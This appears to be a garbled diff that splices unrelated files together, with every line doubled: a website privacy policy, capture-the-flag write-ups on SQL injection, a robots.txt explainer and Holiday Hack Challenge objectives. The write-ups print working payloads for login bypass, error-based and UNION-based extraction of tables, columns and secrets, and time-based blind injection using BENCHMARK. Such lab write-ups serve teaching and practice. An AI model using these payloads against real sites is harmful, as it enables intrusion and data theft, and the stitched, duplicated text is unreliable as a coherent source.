@ -20,22 +20,22 @@ We respect the privacy of our visitors. We collect only such personal informatio
If you visit our website to browse, read, or download information:
If you visit our website to browse, read, or download information:
- Your web browser automatically sends us (and we may retain) information such as the:
- Your web browser automatically sends us (and we may retain) information such as the:
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet domain through which you access the Internet (e.g., yourServiceProvider.com if you use a commercial Internet service provider, or yourSchool.edu if you use an Internet account from your school);
- Internet Protocol address of the computer you are using;
- Internet Protocol address of the computer you are using;
- type of browser software and operating system you are using;
- type of browser software and operating system you are using;
- date and time you access our site; and
- date and time you access our site; and
- the Internet address of the site from which you linked directly to our site.
- the Internet address of the site from which you linked directly to our site.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will use this information as aggregate data to help us maintain this site, e.g., to determine the number of visitors to different sections of our site, to ensure the site is working properly, and to help us make our site more accessible and useful.
- We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not use this information to identify individuals, except for site security or law enforcement purposes.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
- We will not obtain personally-identifying information about you when you visit our site, unless you choose to provide such information.
## Other Information We Collect
## Other Information We Collect
If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
If you choose to identify yourself (or otherwise provide us with personal information) when you use our online forms:
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- We will collect (and may retain) any personally identifying information, such as your name, street address, email address, and phone number, and any other information you provide. We will use this information to try to fulfill your request and may use it to provide you with additional information at a later time. We will not disclose such information to third parties, except as specified in this privacy policy.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
- If you request information, services, or assistance, we may disclose your personal information to those third parties that (in our judgment) are appropriate in order to fulfill your request. If, when you provide us with such information, you specify that you do not want us to disclose the information to third parties, we will honor your request. Note, however, that if you do not provide such information, it may be impossible for us to refer, respond to or fulfill your request.
@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn
## Solution
## Solution
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.
The resulting query would be this:
The resulting query would be this:
@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works
### Getting the database
### Getting the database
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:
```sql
```sql
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
```
```
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
_Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_
@ -187,7 +187,7 @@ A sub-query for columns could be the following:
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
```
```
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Which gives us (with other `LIMIT` as well):
Which gives us (with other `LIMIT` as well):
@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
SELECT username from users limit 0,1
SELECT username from users limit 0,1
```
```
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`
@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
UNION SELECT table_name, 2, 3 FROM information_schema.tables
UNION SELECT table_name, 2, 3 FROM information_schema.tables
```
```
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:
```sql
```sql
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
UNION SELECT (SELECT * FROM flags), 2, 3
UNION SELECT (SELECT * FROM flags), 2, 3
```
```
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.
@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
```
```
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.
After remove the results from the original query, we get the following:
After remove the results from the original query, we get the following:
@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.
@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
SELECT why FROM naughty WHERE why LIKE '%search text%';
SELECT why FROM naughty WHERE why LIKE '%search text%';
```
```
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:
```sql
```sql
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
```
```
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).
@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
```
```
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:
| Who? |
| Who? |
| -------- |
| -------- |
@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:
| Who? |
| Who? |
| ------------------------------------------- |
| ------------------------------------------- |
@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
If we replace `a` with another letter we can find out the database name like this:
If we replace `a` with another letter we can find out the database name like this:
@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
```
```
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`
By using this method, we can get the all database records but it will take a long time.
By using this method, we can get the all database records but it will take a long time.
@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h
### What is a robots.txt file?
### What is a robots.txt file?
A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
@ -82,10 +82,10 @@ If we click on Time Travel, text starts appearing in the terminal, and, after a
The Objectives page on HHC also shows some questions we need to answer for the medals:
The Objectives page on HHC also shows some questions we need to answer for the medals:
1. What username logs you into the SantaVision portal?
1. What username logs you into the SantaVision portal?
2. Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the `northpolefeeds` on the monitors. What username worked here?
2. Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the `northpolefeeds` on the monitors. What username worked here?
3. Using the information available to you in the SantaVision platform, subscribe to the `frostbitfeed` MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
3. Using the information available to you in the SantaVision platform, subscribe to the `frostbitfeed` MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
4. There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the `northpolefeeds` feed. What type of contraption do you see Santa on?
4. There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the `northpolefeeds` feed. What type of contraption do you see Santa on?